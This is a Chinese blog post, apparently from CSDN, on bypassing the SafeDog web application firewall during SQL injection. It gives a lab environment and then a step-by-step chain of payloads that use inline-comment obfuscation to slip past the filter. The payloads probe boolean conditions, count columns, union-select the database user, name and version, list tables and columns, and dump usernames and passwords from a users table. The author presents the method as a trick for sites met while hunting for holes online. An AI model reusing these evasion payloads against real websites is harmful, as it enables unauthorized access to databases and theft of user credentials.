SQL注入之打狗棒法(安全狗绕过)

最近在网上挖洞时,总会遇到烦人的安全狗,研究了一天发现绕过安全狗出奇的简单,只需要语法犀利即可。

前言:

相信在网络上做渗透测试时,总会遇到如下情况:

在这里插入图片描述

这是网站管理员在服务器上安装了安全狗,安全狗是一款集网站内容安全防护、网站资源保护及网站流量保护功能为一体的服务器工具。功能涵盖了网马/木马扫描、防SQL注入、防盗链、防CC攻击、网站流量实时监控、网站CPU监控、下载线程保护、IP黑白名单管理、网页防篡改功能(结合安全狗云安全中心使用)等模块。能够为用户提供实时的网站安全防护,避免各类针对网站的攻击所带来的危害。我们这次实验就是针对sql注入,绕过安全狗的防护机制。话不多说,下面我们开始这次实验。

实验环境:

操作系统:Windows Server 2008 R2

php集成环境:PHPStudy2018

php版本:5.4.45

Apache版本:2.4.23

MySQL版本:5.5.53

安全狗版本(Apache版):4.0.28330

在这里插入图片描述

在这里插入图片描述

我们将插件开启,安全防护等级调制最高。

实践:

首先我们输入最普通的注入语句1' and 1=1#,测试安全狗过滤机制

在这里插入图片描述

发现这里直接将我们的语句拦截1'/*%"!*/and/*%"!*/1=1#,我们尝试使用内联注释

在这里插入图片描述

发现安全狗还是成功拦截,经过重重测试,发现使用语句1'/*%!"/*/and/*%!"/*/1=1#可以成功绕过安全狗

payload: 1'/*%!"/*/and/*%!"/*/1=1# 判断为真

payload: 1'/*%!"/*/and/*%!"/*/1=2# 判断为假

在这里插入图片描述

在这里插入图片描述

使用order by判断列:

payload: 1'/*%!"/*/order/*%!"/*/by+3#

在这里插入图片描述

使用union联合查询,查看输出列:

payload: 0'/*%!"/*/union/*%!"/*/select+1,2,3#

在这里插入图片描述

查看数据库名,mysql版本与当前用户:

payload: 0'/*%!"/*/union/*%!"/*/select/*%!"/*/user()/*%!"/*/,/*%!"/*/database()/*%!"/*/,/*%!"/*/version()/*%!"/*/#

在这里插入图片描述

查看数据库里的表:

payload: 0'/*%!"/*/union/*%!"/*/select+group_concat(table_name),2,3/*%!"/*/from/*%!"/*/information_schema.tables where+table_schema=/*%!"/*/database()/*%!"/*/#

在这里插入图片描述

查看表里的字段:

payload: 0'/*%!"/*/union/*%!"/*/select+group_concat(column_name),2,3/*%!"/*/from/*%!"/*/information_schema.columns where+table_name=/*%!"/*/0x7573657273/*%!"/*/#

在这里插入图片描述

查询数据:

payload: 0'/*%!"/*/union/*%!"/*/select+id,username,password/*%!"/*/from/*%!"/*/users#

在这里插入图片描述

总结:

通过以上实验,我们可以发现绕过安全狗其实并不难,主要还是靠内联注释里面的符号拼接,猜测安全狗哪些拼接出来的符号没有进行过滤,这里还可以通过burp suite进行爆破测试。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值